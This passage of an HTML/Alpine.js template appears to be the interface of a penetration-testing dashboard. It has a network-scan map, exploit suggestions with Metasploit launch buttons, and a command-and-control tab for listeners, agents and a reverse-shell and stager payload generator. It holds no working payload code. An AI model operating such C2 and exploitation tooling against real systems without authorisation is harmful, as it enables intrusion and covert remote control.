class="bg-sp-red hover:bg-sp-red-dark disabled:bg-sp-grey-mid px-4 py-2 rounded font-semibold transition text-white"
|
||
:disabled="terminalLoading || !terminalInput.trim()">
|
||
Run
|
||
</button>
|
||
<button x-show="terminalStreaming"
|
||
type="button"
|
||
@click="cancelCommand()"
|
||
class="bg-yellow-600 hover:bg-yellow-700 px-4 py-2 rounded font-semibold transition text-white">
|
||
Cancel
|
||
</button>
|
||
<button type="button"
|
||
@click="togglePause()"
|
||
:class="terminalPaused ? 'bg-blue-600 hover:bg-blue-700' : 'bg-sp-grey hover:bg-sp-grey-light'"
|
||
class="px-3 py-2 rounded text-white text-sm">
|
||
<span x-text="terminalPaused ? 'Resume' : 'Pause'"></span>
|
||
</button>
|
||
<label class="flex items-center gap-2 text-xs text-sp-white-muted">
|
||
<input type="checkbox" x-model="scrollLock"> Scroll Lock
|
||
</label>
|
||
<button type="button" @click="copyTerminalOutput()"
|
||
class="bg-sp-grey hover:bg-sp-grey-light px-3 py-2 rounded text-white text-sm">
|
||
Copy
|
||
</button>
|
||
<div class="ml-2 text-xs text-sp-white-muted" x-show="terminalStreaming">
|
||
Elapsed: <span x-text="formatElapsed(terminalStartTime)"></span>
|
||
</div>
|
||
<div class="ml-2 text-xs" x-show="lastExitCode !== null">
|
||
<span :class="lastExitCode === 0 ? 'bg-green-500/20 text-green-400 border border-green-500/40' : 'bg-sp-red/20 text-sp-red border border-sp-red/40'"
|
||
class="px-2 py-1 rounded">Exit: <span x-text="lastExitCode"></span></span>
|
||
</div>
|
||
</form>
|
||
<p x-show="terminalStreaming" class="text-xs text-sp-white-muted mt-2">
|
||
💡 Output is streaming in real-time. Click Cancel to stop the command.
|
||
</p>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- Attack Chains Tab -->
|
||
<div x-show="activeTab === 'attack-chains'" class="flex-1 overflow-y-auto p-6">
|
||
<div class="flex justify-between items-center mb-6">
|
||
<div>
|
||
<h2 class="text-xl font-bold text-sp-white">⛓️ Attack Chain Analysis</h2>
|
||
<p class="text-sm text-sp-white-muted">Correlated vulnerabilities and potential attack paths</p>
|
||
</div>
|
||
<button @click="analyzeAttackChains()"
|
||
class="bg-sp-red hover:bg-sp-red-dark px-4 py-2 rounded text-sm transition flex items-center gap-2"
|
||
:disabled="findings.length === 0">
|
||
🔗 Analyze Chains
|
||
</button>
|
||
</div>
|
||
|
||
<div x-show="attackChains.length === 0" class="text-center text-sp-white-muted py-12">
|
||
<p class="text-4xl mb-4">⛓️</p>
|
||
<p>No attack chains detected yet.</p>
|
||
<p class="text-sm mt-2">Complete reconnaissance and vulnerability scanning to identify potential attack paths.</p>
|
||
</div>
|
||
|
||
<div class="space-y-6">
|
||
<template x-for="(chain, chainIdx) in attackChains" :key="chainIdx">
|
||
<div class="bg-sp-dark rounded-lg border border-sp-grey-mid overflow-hidden">
|
||
<div class="p-4 border-b border-sp-grey-mid flex items-center justify-between">
|
||
<div class="flex items-center gap-3">
|
||
<span :class="getRiskColor(chain.risk_score)"
|
||
class="severity-badge"
|
||
x-text="getRiskLabel(chain.risk_score)"></span>
|
||
<h3 class="font-bold text-sp-white" x-text="chain.name"></h3>
|
||
</div>
|
||
<div class="text-sm text-sp-white-muted">
|
||
Risk Score: <span class="text-sp-red font-bold" x-text="chain.risk_score.toFixed(1)"></span>/10
|
||
</div>
|
||
</div>
|
||
|
||
<div class="p-4">
|
||
<div class="relative">
|
||
<template x-for="(step, stepIdx) in chain.steps" :key="stepIdx">
|
||
<div class="flex items-start gap-4 mb-4 last:mb-0">
|
||
<div class="flex-shrink-0 w-8 h-8 rounded-full bg-sp-red flex items-center justify-center text-white font-bold text-sm">
|
||
<span x-text="step.step"></span>
|
||
</div>
|
||
<div class="flex-1 bg-sp-grey rounded p-3">
|
||
<div class="font-semibold text-sp-white" x-text="step.action"></div>
|
||
<div class="text-sm text-sp-white-muted mt-1" x-text="step.method || step.vuln || step.tools"></div>
|
||
</div>
|
||
</div>
|
||
</template>
|
||
</div>
|
||
|
||
<div class="mt-4 pt-4 border-t border-sp-grey-mid">
|
||
<div class="flex items-start gap-2">
|
||
<span class="text-sp-red">⚠️</span>
|
||
<div>
|
||
<span class="text-sm font-semibold text-sp-white-muted">Impact:</span>
|
||
<span class="text-sm text-sp-white" x-text="chain.impact"></span>
|
||
</div>
|
||
</div>
|
||
<div class="flex items-center gap-4 mt-2 text-sm text-sp-white-muted">
|
||
<span>Likelihood: <span class="text-sp-red" x-text="(chain.likelihood * 100).toFixed(0) + '%'"></span></span>
|
||
<span x-text="chain.recommendation"></span>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
</template>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- Network Map Tab -->
|
||
<div x-show="activeTab === 'network-map'" class="flex-1 flex flex-col overflow-hidden">
|
||
<div class="p-4 border-b border-sp-grey-mid bg-sp-dark flex justify-between items-center">
|
||
<div>
|
||
<h2 class="text-xl font-bold text-sp-white">🗺️ Network Map</h2>
|
||
<p class="text-sm text-sp-white-muted">Discovered hosts with OS detection</p>
|
||
</div>
|
||
<div class="flex gap-3">
|
||
<div class="flex items-center gap-2 bg-sp-grey px-2 py-1 rounded border border-sp-grey-mid">
|
||
<span class="text-xs text-sp-white-muted">View:</span>
|
||
<button @click="networkMapView = 'cytoscape'; $nextTick(() => renderNetworkMap())"
|
||
:class="networkMapView === 'cytoscape' ? 'bg-sp-red text-white' : 'bg-sp-grey-light text-sp-white-muted'"
|
||
class="px-2 py-1 rounded text-xs">Advanced</button>
|
||
<button @click="networkMapView = 'd3'; $nextTick(() => renderNetworkMap())"
|
||
:class="networkMapView === 'd3' ? 'bg-sp-red text-white' : 'bg-sp-grey-light text-sp-white-muted'"
|
||
class="px-2 py-1 rounded text-xs">Classic</button>
|
||
</div>
|
||
<button @click="showPipelineModal = true"
|
||
class="bg-yellow-600 hover:bg-yellow-700 px-4 py-2 rounded text-sm transition flex items-center gap-2">
|
||
🚀 Recon Pipeline
|
||
</button>
|
||
<button @click="showRangeScanModal = true"
|
||
class="bg-sp-red hover:bg-sp-red-dark px-4 py-2 rounded text-sm transition flex items-center gap-2">
|
||
🔍 Scan Range
|
||
</button>
|
||
<button @click="refreshNetworkMap()"
|
||
class="bg-sp-grey hover:bg-sp-grey-light px-4 py-2 rounded text-sm transition flex items-center gap-2"
|
||
:disabled="networkMapLoading">
|
||
🔄 Refresh
|
||
</button>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- Legend (Clickable Filters) -->
|
||
<div class="p-3 bg-sp-dark border-b border-sp-grey-mid flex items-center gap-6 text-sm">
|
||
<span class="text-sp-white-muted">Filter:</span>
|
||
<button @click="toggleOsFilter('Windows')"
|
||
:class="osFilters.includes('Windows') ? 'bg-sp-red ring-2 ring-sp-red-light' : 'hover:bg-sp-grey-light'"
|
||
class="flex items-center gap-2 px-2 py-1 rounded transition cursor-pointer">
|
||
<span class="text-2xl">🪟</span>
|
||
<span :class="osFilters.includes('Windows') ? 'text-white' : 'text-sp-white-muted'">Windows</span>
|
||
</button>
|
||
<button @click="toggleOsFilter('Linux')"
|
||
:class="osFilters.includes('Linux') ? 'bg-sp-red ring-2 ring-sp-red-light' : 'hover:bg-sp-grey-light'"
|
||
class="flex items-center gap-2 px-2 py-1 rounded transition cursor-pointer">
|
||
<span class="text-2xl">🐧</span>
|
||
<span :class="osFilters.includes('Linux') ? 'text-white' : 'text-sp-white-muted'">Linux</span>
|
||
</button>
|
||
<button @click="toggleOsFilter('macOS')"
|
||
:class="osFilters.includes('macOS') ? 'bg-sp-red ring-2 ring-sp-red-light' : 'hover:bg-sp-grey-light'"
|
||
class="flex items-center gap-2 px-2 py-1 rounded transition cursor-pointer">
|
||
<span class="text-2xl">🍎</span>
|
||
<span :class="osFilters.includes('macOS') ? 'text-white' : 'text-sp-white-muted'">macOS</span>
|
||
</button>
|
||
<button @click="toggleOsFilter('router')"
|
||
:class="osFilters.includes('router') ? 'bg-sp-red ring-2 ring-sp-red-light' : 'hover:bg-sp-grey-light'"
|
||
class="flex items-center gap-2 px-2 py-1 rounded transition cursor-pointer">
|
||
<span class="text-2xl">📡</span>
|
||
<span :class="osFilters.includes('router') ? 'text-white' : 'text-sp-white-muted'">Network</span>
|
||
</button>
|
||
<button @click="toggleOsFilter('server')"
|
||
:class="osFilters.includes('server') ? 'bg-sp-red ring-2 ring-sp-red-light' : 'hover:bg-sp-grey-light'"
|
||
class="flex items-center gap-2 px-2 py-1 rounded transition cursor-pointer">
|
||
<span class="text-2xl">🖥️</span>
|
||
<span :class="osFilters.includes('server') ? 'text-white' : 'text-sp-white-muted'">Server</span>
|
||
</button>
|
||
<button @click="toggleOsFilter('unknown')"
|
||
:class="osFilters.includes('unknown') ? 'bg-sp-red ring-2 ring-sp-red-light' : 'hover:bg-sp-grey-light'"
|
||
class="flex items-center gap-2 px-2 py-1 rounded transition cursor-pointer">
|
||
<span class="text-2xl">❓</span>
|
||
<span :class="osFilters.includes('unknown') ? 'text-white' : 'text-sp-white-muted'">Unknown</span>
|
||
</button>
|
||
<button x-show="osFilters.length > 0" @click="osFilters = []; renderNetworkMap()"
|
||
class="ml-2 text-sp-red hover:text-sp-red-light text-xs">
|
||
✕ Clear filters
|
||
</button>
|
||
</div>
|
||
|
||
<div x-show="networkHosts.length === 0 && !networkMapLoading" class="flex-1 flex items-center justify-center">
|
||
<div class="text-center text-sp-white-muted">
|
||
<p class="text-6xl mb-4">🗺️</p>
|
||
<p class="text-lg">No hosts discovered yet</p>
|
||
<p class="text-sm mt-2">Run a network range scan to discover hosts</p>
|
||
<button @click="showRangeScanModal = true"
|
||
class="mt-4 bg-sp-red hover:bg-sp-red-dark px-6 py-2 rounded transition">
|
||
🔍 Scan Network Range
|
||
</button>
|
||
</div>
|
||
</div>
|
||
|
||
<div x-show="networkMapLoading" class="flex-1 flex items-center justify-center">
|
||
<div class="text-center text-sp-white-muted w-96">
|
||
<div class="text-4xl mb-4 animate-spin">🔄</div>
|
||
<p class="text-lg mb-4">Scanning network...</p>
|
||
|
||
<!-- Progress Bar -->
|
||
<div x-show="networkScanProgress.total > 0" class="mb-4">
|
||
<div class="flex justify-between text-sm mb-1">
|
||
<span x-text="networkScanProgress.current + ' / ' + networkScanProgress.total"></span>
|
||
<span x-text="Math.round((networkScanProgress.current / networkScanProgress.total) * 100) + '%'"></span>
|
||
</div>
|
||
<div class="w-full bg-sp-grey rounded-full h-3 overflow-hidden">
|
||
<div class="bg-sp-red h-3 rounded-full transition-all duration-300"
|
||
:style="'width: ' + ((networkScanProgress.current / networkScanProgress.total) * 100) + '%'"></div>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- Current IP being scanned -->
|
||
<div x-show="networkScanProgress.currentIp" class="text-sm">
|
||
<p class="text-sp-white-muted">Currently scanning:</p>
|
||
<p class="font-mono text-sp-red" x-text="networkScanProgress.currentIp"></p>
|
||
</div>
|
||
|
||
<!-- Live host count -->
|
||
<div class="mt-4 flex justify-center gap-6">
|
||
<div class="text-center">
|
||
<div class="text-2xl font-bold text-green-400" x-text="networkScanProgress.hostsFound || networkHosts.length"></div>
|
||
<div class="text-xs text-sp-white-muted">Hosts Found</div>
|
||
</div>
|
||
<div class="text-center" x-show="networkScanProgress.total > 0">
|
||
<div class="text-2xl font-bold text-sp-white" x-text="networkScanProgress.total - networkScanProgress.current"></div>
|
||
<div class="text-xs text-sp-white-muted">Remaining</div>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- Network Map Containers -->
|
||
<div x-show="networkHosts.length > 0 && !networkMapLoading" class="flex-1 network-map-container relative">
|
||
<div id="networkMapCytoscape" class="w-full h-full" x-show="networkMapView === 'cytoscape'"></div>
|
||
<svg id="networkMapSvg" class="w-full h-full" x-show="networkMapView === 'd3'"></svg>
|
||
</div>
|
||
|
||
<!-- Host Details Panel -->
|
||
<div x-show="selectedHost" x-transition
|
||
class="absolute right-4 top-32 w-80 bg-sp-dark border border-sp-grey-mid rounded-lg shadow-xl z-10">
|
||
<div class="p-4 border-b border-sp-grey-mid flex justify-between items-center">
|
||
<h3 class="font-bold text-sp-white flex items-center gap-2">
|
||
<span x-text="getDeviceIcon(selectedHost?.os_type)" class="text-2xl"></span>
|
||
<span x-text="selectedHost?.hostname || selectedHost?.ip"></span>
|
||
</h3>
|
||
<button @click="selectedHost = null" class="text-sp-white-muted hover:text-white">✕</button>
|
||
</div>
|
||
<div class="p-4 space-y-3 text-sm">
|
||
<div class="flex justify-between">
|
||
<span class="text-sp-white-muted">IP Address:</span>
|
||
<span class="font-mono text-sp-red" x-text="selectedHost?.ip"></span>
|
||
</div>
|
||
<div class="flex justify-between">
|
||
<span class="text-sp-white-muted">OS Type:</span>
|
||
<span x-text="selectedHost?.os_type || 'Unknown'"
|
||
:class="getOsColor(selectedHost?.os_type)"></span>
|
||
</div>
|
||
<div x-show="selectedHost?.os_details" class="flex justify-between">
|
||
<span class="text-sp-white-muted">OS Details:</span>
|
||
<span class="text-sp-white text-right text-xs" x-text="selectedHost?.os_details"></span>
|
||
</div>
|
||
<div x-show="selectedHost?.mac" class="flex justify-between">
|
||
<span class="text-sp-white-muted">MAC Address:</span>
|
||
<span class="font-mono text-xs" x-text="selectedHost?.mac"></span>
|
||
</div>
|
||
<div x-show="selectedHost?.vendor" class="flex justify-between">
|
||
<span class="text-sp-white-muted">Vendor:</span>
|
||
<span class="text-sp-white" x-text="selectedHost?.vendor"></span>
|
||
</div>
|
||
<div x-show="selectedHost?.ports && selectedHost.ports.length > 0">
|
||
<span class="text-sp-white-muted">Open Ports:</span>
|
||
<div class="mt-2 flex flex-wrap gap-1">
|
||
<template x-for="port in selectedHost?.ports?.slice(0, 10)" :key="port.port">
|
||
<span class="px-2 py-1 bg-sp-grey rounded text-xs font-mono"
|
||
x-text="port.port + '/' + port.protocol"></span>
|
||
</template>
|
||
<span x-show="selectedHost?.ports?.length > 10"
|
||
class="px-2 py-1 bg-sp-grey rounded text-xs text-sp-white-muted"
|
||
x-text="'+' + (selectedHost.ports.length - 10) + ' more'"></span>
|
||
</div>
|
||
</div>
|
||
<div class="pt-3 border-t border-sp-grey-mid flex gap-2">
|
||
<button @click="scanHost(selectedHost.ip)"
|
||
class="flex-1 bg-sp-red hover:bg-sp-red-dark px-3 py-2 rounded text-xs">
|
||
🔬 Deep Scan
|
||
</button>
|
||
<button @click="terminalInput = 'nmap -sV ' + selectedHost.ip; activeTab = 'terminal'"
|
||
class="flex-1 bg-sp-grey hover:bg-sp-grey-light px-3 py-2 rounded text-xs">
|
||
🖥️ Terminal
|
||
</button>
|
||
</div>
|
||
<div class="pt-2">
|
||
<button @click="getExploitSuggestions(selectedHost)"
|
||
:disabled="exploitLoading"
|
||
class="w-full bg-yellow-600 hover:bg-yellow-700 px-3 py-2 rounded text-xs flex items-center justify-center gap-2 transition disabled:opacity-50">
|
||
<span x-show="!exploitLoading">💥 Find Exploits</span>
|
||
<span x-show="exploitLoading" class="flex items-center gap-2">
|
||
<svg class="animate-spin h-4 w-4" viewBox="0 0 24 24">
|
||
<circle class="opacity-25" cx="12" cy="12" r="10" stroke="currentColor" stroke-width="4" fill="none"/>
|
||
<path class="opacity-75" fill="currentColor" d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"/>
|
||
</svg>
|
||
Analyzing...
|
||
</span>
|
||
</button>
|
||
</div>
|
||
<!-- Exploit Suggestions List -->
|
||
<div x-show="exploitSuggestions.length > 0" class="pt-2 space-y-2 max-h-64 overflow-y-auto">
|
||
<template x-for="exploit in exploitSuggestions" :key="exploit.exploit_name">
|
||
<div class="bg-sp-black p-2 rounded text-xs border-l-2"
|
||
:class="{
|
||
'border-red-500': exploit.severity === 'critical',
|
||
'border-orange-500': exploit.severity === 'high',
|
||
'border-yellow-500': exploit.severity === 'medium',
|
||
'border-green-500': exploit.severity === 'low',
|
||
'border-blue-500': exploit.severity === 'info'
|
||
}">
|
||
<div class="flex justify-between items-start mb-1">
|
||
<span class="font-semibold text-sp-white" x-text="exploit.exploit_name"></span>
|
||
<span :class="{
|
||
'bg-red-500/20 text-red-400': exploit.severity === 'critical',
|
||
'bg-orange-500/20 text-orange-400': exploit.severity === 'high',
|
||
'bg-yellow-500/20 text-yellow-400': exploit.severity === 'medium',
|
||
'bg-green-500/20 text-green-400': exploit.severity === 'low',
|
||
'bg-blue-500/20 text-blue-400': exploit.severity === 'info'
|
||
}" class="px-1.5 py-0.5 rounded text-xs" x-text="exploit.severity"></span>
|
||
</div>
|
||
<p class="text-sp-white-muted mb-1" x-text="exploit.description"></p>
|
||
<div x-show="exploit.cve" class="text-red-400 text-xs mb-1" x-text="exploit.cve"></div>
|
||
<div class="flex gap-2 mt-2">
|
||
<button x-show="exploit.msf_module"
|
||
@click="runMsfModule(exploit.msf_module, selectedHost.ip)"
|
||
class="px-2 py-1 bg-sp-grey hover:bg-sp-grey-light rounded text-xs">
|
||
🔧 MSF
|
||
</button>
|
||
<button x-show="exploit.manual_check"
|
||
@click="runManualCheck(exploit.manual_check, selectedHost.ip)"
|
||
class="px-2 py-1 bg-sp-grey hover:bg-sp-grey-light rounded text-xs">
|
||
📋 Check
|
||
</button>
|
||
</div>
|
||
</div>
|
||
</template>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- Host List Sidebar -->
|
||
<div x-show="networkHosts.length > 0"
|
||
class="absolute left-4 top-32 bottom-4 w-64 bg-sp-dark/95 border border-sp-grey-mid rounded-lg overflow-hidden">
|
||
<div class="p-3 border-b border-sp-grey-mid">
|
||
<h4 class="font-semibold text-sp-white text-sm">Discovered Hosts (<span x-text="networkHosts.length"></span>)</h4>
|
||
</div>
|
||
<div class="overflow-y-auto" style="max-height: calc(100% - 45px);">
|
||
<template x-for="host in networkHosts" :key="host.ip">
|
||
<div @click="selectHost(host)"
|
||
:class="selectedHost?.ip === host.ip ? 'bg-sp-red/20 border-l-2 border-sp-red' : 'hover:bg-sp-grey'"
|
||
class="p-3 cursor-pointer border-b border-sp-grey-mid/50 transition">
|
||
<div class="flex items-center gap-2">
|
||
<span x-text="getDeviceIcon(host.os_type)" class="text-xl"></span>
|
||
<div class="flex-1 min-w-0">
|
||
<div class="font-mono text-sm text-sp-red truncate" x-text="host.ip"></div>
|
||
<div class="text-xs text-sp-white-muted truncate"
|
||
x-text="host.hostname || host.os_type || 'Unknown'"></div>
|
||
</div>
|
||
<span x-show="host.ports?.length"
|
||
class="text-xs bg-sp-grey px-2 py-0.5 rounded"
|
||
x-text="host.ports.length + ' ports'"></span>
|
||
</div>
|
||
</div>
|
||
</template>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- C2 Command & Control Tab -->
|
||
<div x-show="activeTab === 'c2'" class="flex-1 flex flex-col overflow-hidden">
|
||
<div class="p-4 border-b border-sp-grey-mid flex justify-between items-center">
|
||
<h2 class="text-lg font-bold text-sp-white flex items-center gap-2">
|
||
☠️ Command & Control
|
||
<span class="text-sm font-normal text-sp-white-muted">Post-Exploitation Framework</span>
|
||
</h2>
|
||
<div class="flex gap-2">
|
||
<button @click="c2ActivePanel = 'listeners'"
|
||
:class="c2ActivePanel === 'listeners' ? 'bg-sp-red' : 'bg-sp-grey hover:bg-sp-grey-light'"
|
||
class="px-3 py-1.5 rounded text-sm transition">📡 Listeners</button>
|
||
<button @click="c2ActivePanel = 'agents'"
|
||
:class="c2ActivePanel === 'agents' ? 'bg-sp-red' : 'bg-sp-grey hover:bg-sp-grey-light'"
|
||
class="px-3 py-1.5 rounded text-sm transition">🤖 Agents</button>
|
||
<button @click="c2ActivePanel = 'payloads'"
|
||
:class="c2ActivePanel === 'payloads' ? 'bg-sp-red' : 'bg-sp-grey hover:bg-sp-grey-light'"
|
||
class="px-3 py-1.5 rounded text-sm transition">💾 Payloads</button>
|
||
<button @click="c2ActivePanel = 'tasks'"
|
||
:class="c2ActivePanel === 'tasks' ? 'bg-sp-red' : 'bg-sp-grey hover:bg-sp-grey-light'"
|
||
class="px-3 py-1.5 rounded text-sm transition">📋 Tasks</button>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- Listeners Panel -->
|
||
<div x-show="c2ActivePanel === 'listeners'" class="flex-1 overflow-auto p-4">
|
||
<div class="flex justify-between items-center mb-4">
|
||
<h3 class="font-semibold text-sp-white">Active Listeners</h3>
|
||
<button @click="showListenerModal = true"
|
||
class="bg-sp-red hover:bg-sp-red-dark px-4 py-2 rounded text-sm transition flex items-center gap-2">
|
||
➕ New Listener
|
||
</button>
|
||
</div>
|
||
|
||
<div x-show="c2Listeners.length === 0" class="text-center py-12 text-sp-white-muted">
|
||
<p class="text-5xl mb-4">📡</p>
|
||
<p>No listeners configured</p>
|
||
<p class="text-sm mt-2">Create a listener to receive agent callbacks</p>
|
||
</div>
|
||
|
||
<div class="grid gap-3">
|
||
<template x-for="listener in c2Listeners" :key="listener.id">
|
||
<div class="bg-sp-grey border border-sp-grey-mid rounded-lg p-4 hover:border-sp-red/50 transition">
|
||
<div class="flex items-center justify-between mb-3">
|
||
<div class="flex items-center gap-3">
|
||
<span :class="listener.status === 'running' ? 'bg-green-500 animate-pulse' : 'bg-sp-red'"
|
||
class="w-3 h-3 rounded-full"></span>
|
||
<span class="font-mono font-bold text-sp-red" x-text="listener.name"></span>
|
||
<span class="px-2 py-0.5 bg-sp-dark rounded text-xs" x-text="listener.type"></span>
|
||
</div>
|
||
<div class="flex items-center gap-2">
|
||
<button @click="toggleListener(listener)"
|
||
:class="listener.status === 'running' ? 'bg-yellow-600 hover:bg-yellow-700' : 'bg-green-600 hover:bg-green-700'"
|
||
class="px-3 py-1 rounded text-xs transition"
|
||
x-text="listener.status === 'running' ? '⏸️ Stop' : '▶️ Start'"></button>
|
||
<button @click="deleteListener(listener.id)"
|
||
class="bg-sp-grey hover:bg-red-900/50 px-3 py-1 rounded text-xs transition">🗑️</button>
|
||
</div>
|
||
</div>
|
||
<div class="grid grid-cols-4 gap-4 text-sm">
|
||
<div><span class="text-sp-white-muted">Bind:</span> <span class="font-mono" x-text="listener.host + ':' + listener.port"></span></div>
|
||
<div><span class="text-sp-white-muted">Protocol:</span> <span x-text="listener.protocol"></span></div>
|
||
<div><span class="text-sp-white-muted">Connections:</span> <span class="text-green-400" x-text="listener.connections || 0"></span></div>
|
||
<div><span class="text-sp-white-muted">Started:</span> <span x-text="listener.started_at || 'N/A'"></span></div>
|
||
</div>
|
||
</div>
|
||
</template>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- Agents Panel -->
|
||
<div x-show="c2ActivePanel === 'agents'" class="flex-1 overflow-auto p-4">
|
||
<div class="flex justify-between items-center mb-4">
|
||
<h3 class="font-semibold text-sp-white">Connected Agents (<span x-text="c2Agents.filter(a => a.status === 'active').length"></span> active)</h3>
|
||
<button @click="refreshAgents()" class="bg-sp-grey hover:bg-sp-grey-light px-4 py-2 rounded text-sm transition">🔄 Refresh</button>
|
||
</div>
|
||
|
||
<div x-show="c2Agents.length === 0" class="text-center py-12 text-sp-white-muted">
|
||
<p class="text-5xl mb-4">🤖</p>
|
||
<p>No agents connected</p>
|
||
<p class="text-sm mt-2">Deploy a payload to establish agent connections</p>
|
||
</div>
|
||
|
||
<div class="space-y-3">
|
||
<template x-for="agent in c2Agents" :key="agent.id">
|
||
<div class="bg-sp-grey border border-sp-grey-mid rounded-lg overflow-hidden hover:border-sp-red/50 transition"
|
||
:class="selectedAgent?.id === agent.id ? 'border-sp-red' : ''">
|
||
<div class="p-4">
|
||
<div class="flex items-center justify-between mb-3">
|
||
<div class="flex items-center gap-3">
|
||
<span :class="{
|
||
'bg-green-500 animate-pulse': agent.status === 'active',
|
||
'bg-yellow-500': agent.status === 'sleeping',
|
||
'bg-sp-red': agent.status === 'dead'
|
||
}" class="w-3 h-3 rounded-full"></span>
|
||
<span class="font-mono font-bold text-sp-red" x-text="agent.hostname"></span>
|
||
<span class="text-sp-white-muted">@</span>
|
||
<span class="font-mono" x-text="agent.username"></span>
|
||
<span x-show="agent.elevated" class="px-2 py-0.5 bg-yellow-500/20 text-yellow-400 rounded text-xs">👑 ADMIN</span>
|
||
</div>
|
||
<div class="flex items-center gap-2">
|
||
<span class="text-xs text-sp-white-muted" x-text="'Last seen: ' + agent.last_seen"></span>
|
||
<span :class="{
|
||
'bg-green-500/20 text-green-400': agent.status === 'active',
|
||
'bg-yellow-500/20 text-yellow-400': agent.status === 'sleeping',
|
||
'bg-red-500/20 text-red-400': agent.status === 'dead'
|
||
}" class="px-2 py-1 rounded text-xs font-semibold" x-text="agent.status"></span>
|
||
</div>
|
||
</div>
|
||
<div class="grid grid-cols-5 gap-4 text-sm">
|
||
<div><span class="text-sp-white-muted">IP:</span> <span class="font-mono" x-text="agent.ip"></span></div>
|
||
<div><span class="text-sp-white-muted">OS:</span> <span x-text="agent.os"></span></div>
|
||
<div><span class="text-sp-white-muted">Arch:</span> <span x-text="agent.arch"></span></div>
|
||
<div><span class="text-sp-white-muted">PID:</span> <span class="font-mono" x-text="agent.pid"></span></div>
|
||
<div><span class="text-sp-white-muted">Sleep:</span> <span x-text="agent.sleep + 's'"></span></div>
|
||
</div>
|
||
</div>
|
||
<div class="border-t border-sp-grey-mid px-4 py-2 bg-sp-dark flex gap-2">
|
||
<button @click="interactAgent(agent)"
|
||
class="flex-1 bg-sp-red hover:bg-sp-red-dark px-3 py-2 rounded text-xs transition">💻 Interact</button>
|
||
<button @click="taskAgent(agent, 'shell', 'whoami')"
|
||
class="bg-sp-grey hover:bg-sp-grey-light px-3 py-2 rounded text-xs transition">👤 Whoami</button>
|
||
<button @click="taskAgent(agent, 'shell', 'pwd')"
|
||
class="bg-sp-grey hover:bg-sp-grey-light px-3 py-2 rounded text-xs transition">📁 PWD</button>
|
||
<button @click="taskAgent(agent, 'ps')"
|
||
class="bg-sp-grey hover:bg-sp-grey-light px-3 py-2 rounded text-xs transition">📊 PS</button>
|
||
<button @click="killAgent(agent.id)"
|
||
class="bg-sp-grey hover:bg-red-900/50 px-3 py-2 rounded text-xs transition">☠️ Kill</button>
|
||
</div>
|
||
</div>
|
||
</template>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- Payloads Panel -->
|
||
<div x-show="c2ActivePanel === 'payloads'" class="flex-1 overflow-auto p-4">
|
||
<div class="flex justify-between items-center mb-4">
|
||
<h3 class="font-semibold text-sp-white">Payload Generator</h3>
|
||
</div>
|
||
|
||
<div class="grid grid-cols-2 gap-6">
|
||
<!-- Payload Options -->
|
||
<div class="space-y-4">
|
||
<div>
|
||
<label class="block text-sm text-sp-white-muted mb-2">Payload Type</label>
|
||
<select x-model="payloadOptions.type"
|
||
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-4 py-2 text-sp-white focus:outline-none focus:ring-2 focus:ring-sp-red">
|
||
<option value="reverse_shell">🐚 Reverse Shell</option>
|
||
<option value="bind_shell">🔗 Bind Shell</option>
|
||
<option value="meterpreter">💉 Meterpreter</option>
|
||
<option value="beacon">📡 Beacon (HTTP/S)</option>
|
||
<option value="powershell">⚡ PowerShell Stager</option>
|
||
<option value="python">🐍 Python Stager</option>
|
||
</select>
|
||
</div>
|
||
<div>
|
||
<label class="block text-sm text-sp-white-muted mb-2">Listener</label>
|
||
<select x-model="payloadOptions.listener"
|
||
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-4 py-2 text-sp-white focus:outline-none focus:ring-2 focus:ring-sp-red">
|
||
<option value="">-- Select Listener --</option>
|
||
<template x-for="l in c2Listeners" :key="l.id">
|
||
<option :value="l.id" x-text="l.name + ' (' + l.host + ':' + l.port + ')'"></option>
|
||
</template>
|
||
</select>
|
||
</div>
|
||
<div class="grid grid-cols-2 gap-4">
|
||
<div>
|
||
<label class="block text-sm text-sp-white-muted mb-2">LHOST</label>
|
||
<input type="text" x-model="payloadOptions.lhost" placeholder="10.10.14.1"
|
||
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-4 py-2 text-sp-white focus:outline-none focus:ring-2 focus:ring-sp-red font-mono">
|
||
</div>
|
||
<div>
|
||
<label class="block text-sm text-sp-white-muted mb-2">LPORT</label>
|
||
<input type="number" x-model="payloadOptions.lport" placeholder="4444"
|
||
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-4 py-2 text-sp-white focus:outline-none focus:ring-2 focus:ring-sp-red font-mono">
|
||
</div>
|
||
</div>
|
||
<div>
|
||
<label class="block text-sm text-sp-white-muted mb-2">Target OS</label>
|
||
<select x-model="payloadOptions.os"
|
||
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-4 py-2 text-sp-white focus:outline-none focus:ring-2 focus:ring-sp-red">
|
||
<option value="linux">🐧 Linux</option>
|
||
<option value="windows">🪟 Windows</option>
|
||
<option value="macos">🍎 macOS</option>
|
||
</select>
|
||
</div>
|
||
<div>
|
||
<label class="block text-sm text-sp-white-muted mb-2">Architecture</label>
|
||
<select x-model="payloadOptions.arch"
|
||
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-4 py-2 text-sp-white focus:outline-none focus:ring-2 focus:ring-sp-red">
|
||
<option value="x64">x64</option>
|
||
<option value="x86">x86</option>
|
||
<option value="arm64">ARM64</option>
|
||
</select>
|
||
</div>
|
||
<div>
|
||
<label class="block text-sm text-sp-white-muted mb-2">Output Format</label>
|
||
<select x-model="payloadOptions.format"
|
||
class="w-full bg-sp-grey border border-sp-grey-mid rounded px-4 py-2 text-sp-white focus:outline-none focus:ring-2 focus:ring-sp-red">
|
||
<option value="raw">Raw Shellcode</option>
|
||
<option value="exe">EXE Binary</option>
|
||
<option value="elf">ELF Binary</option>
|
||
<option value="dll">DLL</option>
|
||
<option value="ps1">PowerShell Script</option>
|
||
